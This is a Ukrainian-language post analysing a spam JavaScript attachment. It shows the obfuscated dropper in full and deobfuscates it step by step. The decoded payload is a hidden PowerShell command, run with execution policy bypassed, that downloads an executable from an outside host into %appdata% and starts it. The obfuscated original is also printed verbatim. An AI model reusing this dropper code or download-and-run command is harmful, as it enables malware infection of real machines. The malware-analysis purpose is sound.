Тема: Деобфускація коду
Отримав спам із посиланням на файлик .js
(1)
var dpnEWVNovODmCMa = 'vOUKgWaOUKgWrOUKgW OUKgWJOUKgWjOUKgWgOUKgWcOUKgWAOUKgWBOUKgWhOUKgWRIXuOUKgWEOUKgWdOUKgWqpOUKgW OUKgW= OUKgWnOUKgWew OUKgWAOUKgWcOUKgWtiOUKgWvOUKgWeOUKgWXOUKgWOOUKgWbjeOUKgWctOUKgW(OUKgW"OUKgWwOUKgWScOUKgWrOUKgWipOUKgWTOUKgW.OUKgWsOUKgWhOUKgWeOUKgWLOUKgWL"OUKgW); vOUKgWaOUKgWrOUKgW OUKgWJqQOUKgWCOUKgWoIOUKgWPOUKgWkaBbrfOUKgWpOUKgWuOUKgWiOUKgWTOUKgW OUKgW= nOUKgWeOUKgWw OUKgWAOUKgWcOUKgWtivOUKgWeXObjOUKgWect("sOUKgWHOUKgWeLlOUKgW.OUKgWaOUKgWppliCaTOUKgWIOUKgWonOUKgW"); vOUKgWarOUKgW OUKgWcmOUKgWuOUKgWlpwSGOUKgWfOUKgWrOUKgWkOUKgWnjsAB OUKgW=OUKgW JOUKgWjOUKgWgcAOUKgWBOUKgWhOUKgWRIOUKgWXOUKgWuEOUKgWdOUKgWqOUKgWpOUKgW.OUKgWROUKgWegOUKgWROUKgWeOUKgWad(OUKgW"OUKgWHKOUKgWLOUKgWM"OUKgW+OUKgWSOUKgWtOUKgWrOUKgWiOUKgWngOUKgW.frOUKgWoOUKgWmOUKgWCOUKgWharOUKgWCoOUKgWdeOUKgW(OUKgW9OUKgW2)OUKgW+"OUKgWsOUKgWofOUKgWtOUKgWwOUKgWaOUKgWrOUKgWeOUKgW"OUKgW+SOUKgWtringOUKgW.OUKgWfOUKgWrOUKgWomOUKgWCOUKgWhOUKgWaOUKgWrOUKgWCOUKgWodOUKgWeOUKgW(9OUKgW2)+OUKgW"OUKgWmiOUKgWcrOUKgWosOUKgWofOUKgWt"+SOUKgWtrOUKgWiOUKgWnOUKgWg.OUKgWfromCOUKgWhaOUKgWrOUKgWCoOUKgWdeOUKgW(OUKgW9OUKgW2OUKgW)OUKgW+OUKgW"OUKgWwOUKgWinOUKgWdoOUKgWwOUKgWsOUKgW"OUKgW+SOUKgWtrOUKgWinOUKgWgOUKgW.fOUKgWroOUKgWmOUKgWCOUKgWhOUKgWaOUKgWrOUKgWCOUKgWodOUKgWe(OUKgW9OUKgW2OUKgW)+OUKgW"cuOUKgWrrOUKgWeOUKgWnOUKgWtveOUKgWrOUKgWsOUKgWiOUKgWoOUKgWnOUKgW"OUKgW+OUKgWStriOUKgWnOUKgWgOUKgW.OUKgWfOUKgWrOUKgWomOUKgWCOUKgWharOUKgWCOUKgWoOUKgWdOUKgWeOUKgW(OUKgW9OUKgW2OUKgW)+"OUKgWpOUKgWrogOUKgWrOUKgWaOUKgWmOUKgWfiOUKgWleOUKgWsOUKgWdirOUKgW");OUKgW fuOUKgWnOUKgWctOUKgWiOUKgWoOUKgWnOUKgW OUKgWsOUKgWROUKgWpOUKgWCfaWOUKgWYOUKgWXmOUKgWGEreIPOUKgW(OUKgWHOUKgWvOUKgWTOUKgWjOUKgWaOUKgWROUKgWiOUKgWEOUKgWMhOUKgWOOUKgWWtNOUKgWAOUKgWydOUKgWPOUKgWgOUKgW,OUKgW gyOUKgWwOUKgWdOUKgWKxOUKgWROUKgWTtOUKgWoPcMOUKgWWOUKgWsvQOUKgWJOUKgW)OUKgW OUKgW{OUKgW reOUKgWtOUKgWuOUKgWrOUKgWnOUKgW OUKgWHvOUKgWTjOUKgWaROUKgWiOUKgWEOUKgWMOUKgWhOUKgWOOUKgWWtNAOUKgWyOUKgWdOUKgWPgOUKgW.OUKgWcOUKgWharOUKgWAOUKgWtOUKgW(OUKgWgOUKgWywdKOUKgWxOUKgWROUKgWTOUKgWtoPOUKgWcOUKgWMOUKgWWOUKgWsOUKgWvOUKgWQOUKgWJOUKgW); } vaOUKgWrOUKgW gOUKgWdOUKgWhOUKgWOOUKgWUOUKgWBOUKgWvnOUKgWRtOUKgWJOUKgWMOUKgWTQk OUKgW= sRpCOUKgWfOUKgWaWYXmGOUKgWEOUKgWrOUKgWeOUKgWIOUKgWP(OUKgWcOUKgWmuOUKgWlOUKgWpwSOUKgWGOUKgWfrknOUKgWjOUKgWsAB,OUKgW OUKgW5OUKgW+OUKgW6OUKgW);';
var roUkauNdiGcPeRmM = 'JFqQCFoFIPFkaFBFbrFfpFuFiFT.FShFelFlFEFxFeFcFutFe("FcmFd.FexFeF",F "/c piFnFg FloFcFaFlFhFost F& powerFsFhFelFlF.FexeF F-FexeFcFuFtioFnFpFolFiFcy FbyFpFaFsFs -FnFoFpFroFfFiFlFeF F-FwFiFndowsFtyFlFe hFiFdFdFeFnF (FneFw-oFbFjFecFtF FsyFsFtFeFm.FnFetF.FwFeFbclienFt)F.FdowFnlFoaFdfFilFe(\'hFtFtp://depFcFenFterF.FcFlub/rFegFiFsFteFrF.FbiFnF?FmFRFKeFsw\',\'F%aFPFPdFaFtFaF%fNGF8F2F.FeXe\'); SFTFaRFT-prFoFCFeFSFs \'F%aFpFpFdaFtFaF%FfNFG82.FeFxe\'"F,F F"", "FopeFnF"F,F F0F);';
function fMsTxXCopizlyNmULqI(vrXqjDnoCiShKMLwdBU, dpWBxrSbzcgyMXhi) { return vrXqjDnoCiShKMLwdBU.split(dpWBxrSbzcgyMXhi).join(""); }
var CcmYyREVbMBKpPvgWO = fMsTxXCopizlyNmULqI(dpnEWVNovODmCMa, "OUKgW");
if (new Date()["g"+"etYear"]() == new Array("2"+"0"+"17")[0]) { eval(CcmYyREVbMBKpPvgWO); }
roUkauNdiGcPeRmM = fMsTxXCopizlyNmULqI(roUkauNdiGcPeRmM, gdhOUBvnRtJMTQk);
var uXOQURWiKzhclYIAyNP = (new Function (roUkauNdiGcPeRmM))();
Спробую деобфускувати. Маємо два рядки dpnEWVNovODmCMa та roUkauNdiGcPeRmM, а потім функцію
fMsTxXCopizlyNmULqI, яка приймає два параметри (буду писати x та y) і повертає x.split(y).join(""); - тобто замінює в рядку x всі зустрічні y на пусті рядки. Далі іде виклик fMsTxXCopizlyNmULqI(dpnEWVNovODmCMa, "OUKgW"); - тобто CcmYyREVbMBKpPvgWO буде дорівнювати (без зовнішніх лапок і зновими рядками для зручності)
(2)
var JjgcABhRIXuEdqp = new ActiveXObject("wScripT.sheLL");
var JqQCoIPkaBbrfpuiT = new ActiveXObject("sHeLl.appliCaTIon");
var cmulpwSGfrknjsAB = JjgcABhRIXuEdqp.RegRead("HKLM"+String.fromCharCode(92)+"software"+String.fromCharCode(92)+"microsoft"+String.fromCharCode(92)+"windows"+String.fromCharCode(92)+"currentversion"+String.fromCharCode(92)+"programfilesdir"); function sRpCfaWYXmGEreIP(HvTjaRiEMhOWtNAydPg, gywdKxRTtoPcMWsvQJ) { return HvTjaRiEMhOWtNAydPg.charAt(gywdKxRTtoPcMWsvQJ); }
var gdhOUBvnRtJMTQk = sRpCfaWYXmGEreIP(cmulpwSGfrknjsAB, 5+6);
Далі в if створюється об'єкт Date, викликається його функція getYear і порівюється із 0-им елементом масиву з одного значення "2017". getYear - застаріла функція, що повертає номер року мінус 1900; таким чином, ця умова буде істинною аж у 3917 році. Якщо рік буде відповідним, то буде виконано код (2); все, що він насправді робить бере 11-й символ з імені папки C:\Program Files (тобто F) і заносить у змінну gdhOUBvnRtJMTQk. При цьому створюється об'єкт JqQCoIPkaBbrfpuiT - Shell.Application.
Далі у рядку 6 вже відома нам функція fMsTxXCopizlyNmULqI прибирає всі F з рядка roUkauNdiGcPeRmM, отримуючи, таким чином
(3)
JqQCoIPkaBbrfpuiT.ShellExecute("cmd.exe", "/c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://depcenter.club/register.bin?mRKesw','%aPPdata%fNG82.eXe'); STaRT-proCeSs '%appdata%fNG82.exe'", "", "open", 0);
Оце і є власне шкідництво - скачати програму і запустити її. У мене її скачати не вийшло.
Таким чином, маємо справу із некваліфіковано зробленим дропером, розрахованим на старі версії Internet Explorer (інакше всі ці ActiveX не запустяться) на нових машинах із PowerShell.